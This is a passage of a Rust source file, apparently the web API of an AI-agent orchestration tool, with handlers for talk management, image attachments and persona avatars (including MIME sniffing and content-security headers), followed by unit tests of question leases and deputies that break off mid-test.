9292 State(ui): State<Arc<Ui>>,
9293 Path(id): Path<String>,
9294 Json(body): Json<TalkImplementers>,
9295) -> ApiResult<Json<TalkView>> {
9296 let id = {
9297 let ui = Arc::clone(&ui);
9298 blocking(move || resolve_talk(&ui.talks, &id)).await?
9299 };
9300 let repo = {
9301 let ui = Arc::clone(&ui);
9302 let id = id.clone();
9303 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9304 };
9305 let cfg = config_for(&repo).await?;
9306 {
9311 let ui = Arc::clone(&ui);
9312 let id = id.clone();
9313 let cfg = cfg.clone();
9314 let wanted = body.implementers;
9315 blocking(move || {
9316 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9317 refuse_if_closed(&ui.talks.get(&id)?)
9318 })
9319 .await?;
9320 }
9321 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9322 return Err(ApiError::conflict(
9323 "a talk turn is running; change the implementers once it has answered",
9324 ));
9325 };
9326 let switched = {
9327 let ui = Arc::clone(&ui);
9328 let id = id.clone();
9329 let cfg = cfg.clone();
9330 blocking(move || {
9331 let chosen =
9332 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
9333 let mut talk = ui.talks.get(&id)?;
9334 if !talk.status.open() {
9335 return Err(ApiError::conflict(format!(
9336 "talk {} is {} and takes no more turns",
9337 talk.short(),
9338 talk.status.as_str()
9339 )));
9340 }
9341 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9342 Ok(talk)
9343 })
9344 .await
9345 };
9346 let observed = ui.queued_generation(&id);
9348 let fresh = {
9349 let ui = Arc::clone(&ui);
9350 let id = id.clone();
9351 blocking(move || Ok(ui.talks.get(&id)?)).await
9352 };
9353 let draining = match fresh {
9354 Ok(talk) => {
9355 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9356 }
9357 Err(_) => false,
9358 };
9359 let talk = switched?;
9360 Ok(Json(TalkView::new(talk, draining, &ui)))
9361}
9362
9363async fn talk_close(
9365 State(ui): State<Arc<Ui>>,
9366 Path(id): Path<String>,
9367) -> ApiResult<Json<TalkView>> {
9368 blocking(move || {
9369 let id = resolve_talk(&ui.talks, &id)?;
9370 let mut talk = ui.talks.get(&id)?;
9371 talk::close(&mut talk, &ui.talks)?;
9372 let thinking = ui.is_thinking(&talk.id);
9373 Ok(Json(TalkView::new(talk, thinking, &ui)))
9374 })
9375 .await
9376}
9377
9378async fn talk_reopen(
9380 State(ui): State<Arc<Ui>>,
9381 Path(id): Path<String>,
9382) -> ApiResult<Json<TalkView>> {
9383 blocking(move || {
9384 let id = resolve_talk(&ui.talks, &id)?;
9385 let mut talk = ui.talks.get(&id)?;
9386 talk::reopen(&mut talk, &ui.talks)?;
9387 let thinking = ui.is_thinking(&talk.id);
9388 Ok(Json(TalkView::new(talk, thinking, &ui)))
9389 })
9390 .await
9391}
9392
9393async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9403 blocking(move || {
9404 let id = resolve_talk(&ui.talks, &id)?;
9405 ui.talks.remove(&id)?;
9406 Ok(StatusCode::NO_CONTENT)
9407 })
9408 .await
9409}
9410
9411fn talk_ids(root: &FsPath) -> Vec<String> {
9412 std::fs::read_dir(root)
9413 .into_iter()
9414 .flatten()
9415 .flatten()
9416 .filter_map(|e| {
9417 let path = e.path();
9418 if path.extension().is_some_and(|ext| ext == "json") {
9419 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9420 } else {
9421 None
9422 }
9423 })
9424 .collect()
9425}
9426
9427fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9429 if plain_record_id(id) && store.path_of(id).is_file() {
9430 return Ok(id.to_owned());
9431 }
9432 pick(talk_ids(store.root()), id, "talk")
9433}
9434
9435async fn talk_attachment_post(
9438 State(ui): State<Arc<Ui>>,
9439 Path(id): Path<String>,
9440 headers: HeaderMap,
9441 body: Bytes,
9442) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9443 let mime = validate_attachment(&headers, &body)?;
9444 let name = filename_header(&headers);
9445 let data = body.to_vec();
9446 blocking(move || {
9447 let id = resolve_talk(&ui.talks, &id)?;
9448 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9449 Ok((StatusCode::CREATED, Json(att)))
9450 })
9451 .await
9452}
9453
9454async fn talk_attachment_get(
9457 State(ui): State<Arc<Ui>>,
9458 Path((id, att)): Path<(String, String)>,
9459) -> ApiResult<Response> {
9460 blocking(move || {
9461 let id = resolve_talk(&ui.talks, &id)?;
9462 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9463 return Err(ApiError::not_found(format!(
9464 "talk {id} has no attachment `{att}`"
9465 )));
9466 };
9467 Ok(attachment_response(&meta.mime, data))
9468 })
9469 .await
9470}
9471
9472fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9475 let id = avatar_encode(&p.id);
9476 format!(
9477 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9478 persona_icon::fingerprint(
9479 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9480 )
9481 )
9482}
9483
9484#[derive(Debug, Default, Deserialize)]
9485struct AvatarQuery {
9486 persona: Option<String>,
9487 builtin: Option<String>,
9489}
9490
9491const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9493
9494fn builtin_avatar(id: &str) -> Response {
9495 svg_avatar(persona_icon::builtin_svg(id))
9496}
9497
9498async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9499 raster_or_builtin(
9500 read_icon_file(&avatar_setting_path(&ui.home, None))
9501 .filter(|_| q.builtin.is_none())
9502 .as_deref(),
9503 persona_icon::operator_svg(),
9504 )
9505}
9506
9507fn svg_avatar(svg: &'static str) -> Response {
9508 (
9509 [
9510 (header::CONTENT_TYPE, "image/svg+xml"),
9511 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9512 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9513 (header::CACHE_CONTROL, "no-cache"),
9514 ],
9515 svg,
9516 )
9517 .into_response()
9518}
9519
9520fn avatar_encode(value: &str) -> String {
9521 value
9522 .bytes()
9523 .map(|b| {
9524 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9525 char::from(b).to_string()
9526 } else {
9527 format!("%{b:02X}")
9528 }
9529 })
9530 .collect()
9531}
9532
9533fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9535 let Some(id) = persona else {
9536 return home.join("avatars/operator.data");
9537 };
9538 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9539 let mut path = home.join("avatars/personas");
9540 for chunk in encoded.as_bytes().chunks(100) {
9541 path.push(std::str::from_utf8(chunk).expect("hex"));
9542 }
9543 path.join("icon.data")
9544}
9545
9546fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9547 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9548 Some(value) if value == "builtin" => Some(String::new()),
9549 Some(value) => Some(value),
9550 None => configured.map(str::to_owned),
9551 }
9552}
9553
9554fn operator_icon_url(home: &FsPath) -> String {
9555 format!(
9556 "/avatars/operator.svg?v={}",
9557 persona_icon::fingerprint(
9558 read_icon_file(&avatar_setting_path(home, None))
9559 .as_deref()
9560 .or(Some(persona_icon::operator_svg()))
9561 )
9562 )
9563}
9564
9565fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9566 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9567 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9568 attachment_response(mime, bytes)
9569 }
9570 _ => svg_avatar(builtin),
9571 };
9572 response
9573 .headers_mut()
9574 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9575 response
9576}
9577
9578#[derive(Default, Deserialize)]
9579struct AvatarSettingsQuery {
9580 repo: Option<PathBuf>,
9581 persona: Option<String>,
9582 builtin: Option<String>,
9583 inherit: Option<String>,
9584}
9585
9586fn avatar_settings_specs(
9587 ui: &Ui,
9588 repo: Option<PathBuf>,
9589) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9590 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9591 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9592 .map(|cfg| cfg.talk.personas)
9593 .unwrap_or_default();
9594 Ok((repo, specs))
9595}
9596
9597fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9598 let Ok(entries) = std::fs::read_dir(path) else {
9599 return;
9600 };
9601 for entry in entries.flatten() {
9602 let name = entry.file_name().to_string_lossy().into_owned();
9603 if name == "icon.data" {
9604 let bytes: Option<Vec<u8>> = prefix
9605 .as_bytes()
9606 .chunks(2)
9607 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9608 .collect();
9609 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9610 out.push(id);
9611 }
9612 } else if name.len() <= 100
9613 && !name.is_empty()
9614 && name.bytes().all(|b| b.is_ascii_hexdigit())
9615 && entry.file_type().is_ok_and(|t| t.is_dir())
9616 {
9617 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9618 }
9619 }
9620}
9621
9622async fn avatar_settings_get(
9623 State(ui): State<Arc<Ui>>,
9624 Query(q): Query<AvatarSettingsQuery>,
9625) -> ApiResult<Json<serde_json::Value>> {
9626 blocking(move || {
9627 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9628 let mut catalog = persona::catalog(&specs);
9629 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9630 let mut saved = Vec::new();
9631 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9632 for id in saved {
9633 if !catalog.iter().any(|p| p.id == id) {
9634 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9635 }
9636 }
9637 let personas: Vec<_> = catalog.iter().map(|p| {
9638 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9639 let override_state = match saved.as_deref() {
9640 Some("builtin") => "builtin",
9641 Some(_) => "custom",
9642 None => "inherit",
9643 };
9644 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9645 serde_json::json!({"id":p.id,"name":p.name,
9646 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9647 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9648 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9649 }).collect();
9650 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9651 }).await
9652}
9653
9654async fn settings_persona_avatar(
9655 State(ui): State<Arc<Ui>>,
9656 Query(q): Query<AvatarSettingsQuery>,
9657) -> ApiResult<Response> {
9658 blocking(move || {
9659 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9660 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9661 let found = persona::find(&specs, id);
9662 let icon =
9663 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9664 Ok(raster_or_builtin(
9665 icon.as_deref().filter(|_| q.builtin.is_none()),
9666 persona_icon::builtin_svg(id),
9667 ))
9668 })
9669 .await
9670}
9671
9672fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9673 if q.persona
9674 .as_ref()
9675 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9676 {
9677 return Err(ApiError::bad_request("invalid persona id"));
9678 }
9679 Ok(())
9680}
9681
9682async fn avatar_settings_put(
9683 State(ui): State<Arc<Ui>>,
9684 Query(q): Query<AvatarSettingsQuery>,
9685 Json(upload): Json<MagiIconUpload>,
9686) -> ApiResult<Json<serde_json::Value>> {
9687 blocking(move || {
9688 validate_avatar_target(&q)?;
9689 save_icon_file(
9690 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9691 &upload.icon,
9692 )
9693 .map_err(ApiError::bad_request_from)?;
9694 Ok(Json(serde_json::json!({"saved":true})))
9695 })
9696 .await
9697}
9698
9699async fn avatar_settings_delete(
9700 State(ui): State<Arc<Ui>>,
9701 Query(q): Query<AvatarSettingsQuery>,
9702) -> ApiResult<Json<serde_json::Value>> {
9703 blocking(move || {
9704 validate_avatar_target(&q)?;
9705 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9706 if q.persona.is_some() && q.inherit.is_none() {
9707 atomic_icon_write(&path, "builtin")?;
9708 } else {
9709 match std::fs::remove_file(path) {
9710 Ok(()) => (),
9711 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9712 Err(e) => return Err(anyhow::Error::from(e).into()),
9713 }
9714 }
9715 Ok(Json(serde_json::json!({"saved":true})))
9716 })
9717 .await
9718}
9719
9720fn magi_icon_path(home: &FsPath) -> PathBuf {
9722 home.join("magi-icon.data")
9723}
9724
9725fn read_magi_icon(home: &FsPath) -> Option<String> {
9726 read_icon_file(&magi_icon_path(home))
9727}
9728
9729fn read_icon_file(path: &FsPath) -> Option<String> {
9730 let metadata = std::fs::metadata(path).ok()?;
9731 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9732 return None;
9733 }
9734 let file = std::fs::File::open(path).ok()?;
9735 use std::io::Read;
9736 let mut text = String::new();
9737 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9738 .read_to_string(&mut text)
9739 .ok()?;
9740 if text.len() > persona_icon::ICON_MAX_BYTES {
9741 return None;
9742 }
9743 if text == "builtin" {
9744 return Some(text);
9745 }
9746 validate_uploaded_icon(&text).ok()?;
9747 Some(text)
9748}
9749
9750fn magi_icon_url(home: &FsPath) -> String {
9751 format!(
9752 "/avatars/magi?v={}",
9753 persona_icon::fingerprint(read_magi_icon(home).as_deref())
9754 )
9755}
9756
9757async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9758 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9759}
9760
9761#[derive(Deserialize)]
9762struct MagiIconUpload {
9763 icon: String,
9764}
9765
9766fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9767 save_icon_file(&magi_icon_path(home), icon)
9768}
9769
9770fn validate_uploaded_icon(icon: &str) -> Result<()> {
9771 if !icon.starts_with("data:") {
9772 anyhow::bail!("upload a raster image");
9773 }
9774 let (mime, bytes) = persona_icon::load(icon)?;
9775 if sniffed_mime(&bytes) != Some(mime) {
9776 anyhow::bail!("image content does not match its type");
9777 }
9778 Ok(())
9779}
9780
9781fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9782 validate_uploaded_icon(icon)?;
9783 atomic_icon_write(path, icon)
9784}
9785
9786fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9787 let home = path.parent().expect("icon parent");
9788 std::fs::create_dir_all(home)?;
9789 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9790 let temp = home.join(format!(".magi-icon-{token}.tmp"));
9791 let result = (|| -> Result<()> {
9792 use std::io::Write;
9793 let mut file = std::fs::OpenOptions::new()
9794 .write(true)
9795 .create_new(true)
9796 .open(&temp)?;
9797 file.write_all(icon.as_bytes())?;
9798 file.sync_all()?;
9799 std::fs::rename(&temp, path)?;
9800 Ok(())
9801 })();
9802 let _ = std::fs::remove_file(temp);
9803 result?;
9804 Ok(())
9805}
9806
9807async fn magi_icon_put(
9808 State(ui): State<Arc<Ui>>,
9809 Json(upload): Json<MagiIconUpload>,
9810) -> ApiResult<Json<serde_json::Value>> {
9811 blocking(move || {
9812 if !upload.icon.starts_with("data:") {
9813 return Err(ApiError::bad_request("upload a raster image"));
9814 }
9815 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9816 if sniffed_mime(&bytes) != Some(mime) {
9817 return Err(ApiError::bad_request(
9818 "image content does not match its type",
9819 ));
9820 }
9821 save_magi_icon(&ui.home, &upload.icon)?;
9822 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9823 })
9824 .await
9825}
9826
9827async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9828 blocking(move || {
9829 match std::fs::remove_file(magi_icon_path(&ui.home)) {
9830 Ok(()) => (),
9831 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9832 Err(e) => return Err(anyhow::Error::from(e).into()),
9833 }
9834 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9835 })
9836 .await
9837}
9838
9839async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9840 let icon = (q.builtin.is_none())
9841 .then(|| read_magi_icon(&ui.home))
9842 .flatten();
9843 let mut response = match icon
9844 .as_deref()
9845 .and_then(|icon| persona_icon::load(icon).ok())
9846 {
9847 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9848 attachment_response(mime, bytes)
9849 }
9850 _ => svg_avatar(persona_icon::magi_svg()),
9851 };
9852 response
9853 .headers_mut()
9854 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9855 response
9856}
9857
9858async fn talk_avatar(
9863 State(ui): State<Arc<Ui>>,
9864 Path(id): Path<String>,
9865 Query(q): Query<AvatarQuery>,
9866) -> ApiResult<Response> {
9867 blocking(move || {
9868 let id = resolve_talk(&ui.talks, &id)?;
9869 let talk = ui.talks.get(&id)?;
9870 let wanted = q
9871 .persona
9872 .as_deref()
9873 .map(str::trim)
9874 .filter(|p| !p.is_empty())
9875 .unwrap_or(&talk.persona)
9876 .to_owned();
9877 let specs = match Config::discover(&talk.repo, None) {
9878 Ok((cfg, _)) => cfg.talk.personas,
9879 Err(e) => {
9880 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9881 Vec::new()
9882 }
9883 };
9884 let found = persona::find(&specs, &wanted);
9885 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9887 let icon = effective_persona_icon(
9888 &ui.home,
9889 &wanted,
9890 found.as_ref().and_then(|p| p.icon.as_deref()),
9891 );
9892 if found.is_none() && icon.is_none() {
9893 return Ok(builtin_avatar(persona::DEFAULT_ID));
9894 }
9895 let Some(icon) = icon
9896 .as_deref()
9897 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9898 else {
9899 return Ok(builtin_avatar(&wanted));
9900 };
9901 let Some(found) = found else {
9902 return Ok(raster_or_builtin(
9903 Some(icon),
9904 persona_icon::builtin_svg(&wanted),
9905 ));
9906 };
9907 match persona_icon::load(icon) {
9908 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9909 let mut res = attachment_response(mime, bytes);
9910 res.headers_mut().insert(
9911 header::CACHE_CONTROL,
9912 header::HeaderValue::from_static("no-cache"),
9913 );
9914 Ok(res)
9915 }
9916 Ok((mime, _)) => {
9917 tracing::warn!(
9918 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9919 found.id
9920 );
9921 Ok(builtin_avatar(&found.id))
9922 }
9923 Err(e) => {
9924 tracing::warn!(
9925 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9926 found.id
9927 );
9928 Ok(builtin_avatar(&found.id))
9929 }
9930 }
9931 })
9932 .await
9933}
9934
9935fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9946 if data.len() > ATTACHMENT_MAX_BYTES {
9947 return Err(ApiError::bad_request(format!(
9948 "attachment is {} bytes, over the {} MiB limit",
9949 data.len(),
9950 ATTACHMENT_MAX_BYTES / (1024 * 1024)
9951 ))
9952 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9953 }
9954 if data.is_empty() {
9955 return Err(ApiError::bad_request("attachment is empty"));
9956 }
9957 let declared = declared_mime(headers)?;
9958 match sniffed_mime(data) {
9959 Some(sniffed) if sniffed == declared => Ok(declared),
9960 Some(sniffed) => Err(ApiError::bad_request(format!(
9961 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9962 ))),
9963 None => Err(ApiError::bad_request(
9964 "the file's bytes do not match any accepted image format",
9965 )),
9966 }
9967}
9968
9969fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9973 let raw = headers
9974 .get(header::CONTENT_TYPE)
9975 .and_then(|v| v.to_str().ok())
9976 .unwrap_or("")
9977 .split(';')
9978 .next()
9979 .unwrap_or("")
9980 .trim()
9981 .to_ascii_lowercase();
9982 ATTACHMENT_MIME_WHITELIST
9983 .iter()
9984 .find(|&&m| m == raw)
9985 .copied()
9986 .ok_or_else(|| {
9987 if raw == "image/svg+xml" {
9988 ApiError::bad_request(
9989 "SVG is not accepted: it can carry active content (e.g. a <script>), \
9990 not just a picture",
9991 )
9992 } else if raw.is_empty() {
9993 ApiError::bad_request("Content-Type is required for an attachment upload")
9994 } else {
9995 ApiError::bad_request(format!(
9996 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9997 image/gif or image/webp"
9998 ))
9999 }
10000 })
10001}
10002
10003fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10006 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10007 Some("image/png")
10008 } else if data.starts_with(b"\xff\xd8\xff") {
10009 Some("image/jpeg")
10010 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10011 Some("image/gif")
10012 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10013 Some("image/webp")
10014 } else {
10015 None
10016 }
10017}
10018
10019fn filename_header(headers: &HeaderMap) -> String {
10025 headers
10026 .get(FILENAME_HEADER)
10027 .and_then(|v| v.to_str().ok())
10028 .map(str::trim)
10029 .filter(|s| !s.is_empty())
10030 .unwrap_or("attachment")
10031 .to_owned()
10032}
10033
10034fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10041 let content_type = ATTACHMENT_MIME_WHITELIST
10042 .iter()
10043 .find(|&&m| m == mime)
10044 .copied()
10045 .unwrap_or("application/octet-stream");
10046 (
10047 [
10048 (header::CONTENT_TYPE, content_type),
10049 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10050 ],
10051 body,
10052 )
10053 .into_response()
10054}
10055
10056async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10064 let repo = repo.to_path_buf();
10065 blocking(move || {
10066 let (cfg, _) = Config::discover(&repo, None)?;
10067 Ok(cfg)
10068 })
10069 .await
10070}
10071
10072fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10078 let mut hits = ids
10079 .into_iter()
10080 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10081 match (hits.next(), hits.next()) {
10082 (Some(one), None) => Ok(one),
10083 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10084 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10085 "`{prefix}` matches more than one {what}, including {a} and {b}"
10086 ))),
10087 }
10088}
10089
10090#[cfg(test)]
10091mod tests {
10092
10093 #[test]
10094 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10095 let dir = tempfile::tempdir().unwrap();
10096 let store = ask::Questions::at(dir.path().join("questions"));
10097 let mut q = Question::new(
10098 "task".to_owned(),
10099 "conduct".to_owned(),
10100 "conduct".to_owned(),
10101 "choose".to_owned(),
10102 String::new(),
10103 vec!["keep".to_owned()],
10104 );
10105 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10106 q.say("why?").unwrap();
10107 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10108 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10109 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10110 store.put(&mut q).unwrap();
10111 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10112 assert_eq!(store.count_needs_owner(), 1);
10113 store.beat(&q.id, ask::WaiterKind::Deputy);
10114 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10115 assert_eq!(store.count_needs_owner(), 0);
10116 let mut stale = store.read_lease(&q.id).unwrap();
10117 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10118 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10119 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10120 assert!(view.deputy_exhausted);
10121 assert!(view.waiting_on_agent);
10122 assert_eq!(view.question.choices, ["keep"]);
10123 store.drop_lease(&q.id);
10124 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10125 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10126 }
10127
10128 #[test]
10129 fn holder_reads_the_lease_not_the_record() {
10130 let mut q = Question::new(
10131 "run".to_owned(),
10132 "implement".to_owned(),
10133 "impl-A".to_owned(),
10134 "which?".to_owned(),
10135 String::new(),
10136 Vec::new(),
10137 );
10138 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10139 q.cwd = Some("/tmp".to_owned());
10140 assert_eq!(holder_of(&q, None), Some("nobody"));
10141 let beat = |kind, ago: i64| ask::Lease {
10142 kind,
10143 pid: 1,
10144 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10145 .unwrap(),
10146 };
10147 let fresh = beat(ask::WaiterKind::Asker, 1);
10148 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10149 let daemon = beat(ask::WaiterKind::Daemon, 1);
10150 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10151 let stale = beat(ask::WaiterKind::Asker, 3600);
10152 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10153
10154 let mut c = Question::new(
10157 "task".to_owned(),
10158 crate::conduct::NODE.to_owned(),
10159 "conduct".to_owned(),
10160 "which?".to_owned(),
10161 String::new(),
10162 Vec::new(),
10163 );
10164 assert_eq!(holder_of(&c, None), Some("nobody"));
10165 c.cwd = Some("/tmp".to_owned());
10166 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10167 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10168 let deputy = beat(ask::WaiterKind::Deputy, 1);
10169 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10170 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10171
10172 let mut r = Question::new(
10174 String::new(),
10175 crate::bump::NOTICE_NODE.to_owned(),
10176 "release-watch".to_owned(),
10177 "stuck?".to_owned(),
10178 String::new(),
10179 vec!["hold".to_owned()],
10180 );
10181 assert_eq!(holder_of(&r, None), Some("nobody"));
10182 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10183 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10184 r.deputy = None;
10186 r.seat = "bump".to_owned();
10187 assert_eq!(holder_of(&r, None), None);
10188
10189 let mut m = Question::new(
10192 "run".to_owned(),
10193 crate::land::APPROVAL_NODE.to_owned(),
10194 "land".to_owned(),
10195 "merge?".to_owned(),
10196 String::new(),
10197 Vec::new(),
10198 );
10199 assert_eq!(holder_of(&m, None), Some("nobody"));
10200 assert_eq!(
10201 holder_of(&m, Some(&fresh)),
10202 Some("asker"),
10203 "a live explicit wait is a listener even before a deputy is attached"
10204 );
10205 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10206 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10207 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10208 assert_eq!(holder_of(&m, None), Some("nobody"));
10209 }
10210
10211 fn stub_config() -> Config {
10212 Config {
10215 agents: vec![crate::config::AgentSpec {
10216 id: "stub".to_owned(),
10217 kind: AgentKind::Command,
10218 model: None,
10219 command: vec!["true".to_owned()],
10220 extra_args: Vec::new(),
10221 env: Default::default(),
10222 prompt_delivery: None,
10223 max_turn_secs: None,
10224 }],
10225 ..Config::default()
10226 }
10227 }
10228
10229 fn plain_question(seat: &str) -> Question {
10230 Question::new(
10231 String::new(),
10232 "n".to_owned(),
10233 seat.to_owned(),
10234 "s".to_owned(),
10235 String::new(),
10236 Vec::new(),
10237 )
10238 }
10239
10240 #[test]
10241 fn deputies_enabled_follows_the_config() {
10242 let on = stub_config();
10243 assert!(crate::deputy::can_start(Some(&on), ""));
10244 assert!(crate::deputy::can_start(Some(&on), "stub"));
10245 let mut off = on.clone();
10246 off.daemon.max_deputies = 0;
10247 assert!(!crate::deputy::can_start(Some(&off), ""));
10248 let mut empty = on;
10249 empty.agents.clear();
10250 assert!(!crate::deputy::can_start(Some(&empty), ""));
10251 assert!(!crate::deputy::can_start(None, ""));
10252 }
10253
10254 #[test]
10255 fn question_views_load_the_config_once() {
10256 let dir = TempDir::new().unwrap();
10257 let store = ask::Questions::at(dir.path().to_path_buf());
10258 let mut with_deputy = plain_question("b");
10259 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10260 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10261
10262 let calls = std::cell::Cell::new(0usize);
10263 let views = question_views(qs.clone(), &store, || {
10264 calls.set(calls.get() + 1);
10265 Some(stub_config())
10266 });
10267 assert_eq!(calls.get(), 1);
10268 assert_eq!(views.len(), 3);
10269 for (v, q) in views.iter().zip(&qs) {
10270 assert_eq!(
10271 v.deputies_enabled,
10272 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10273 );
10274 }
10275
10276 let views = question_views(qs, &store, || None);
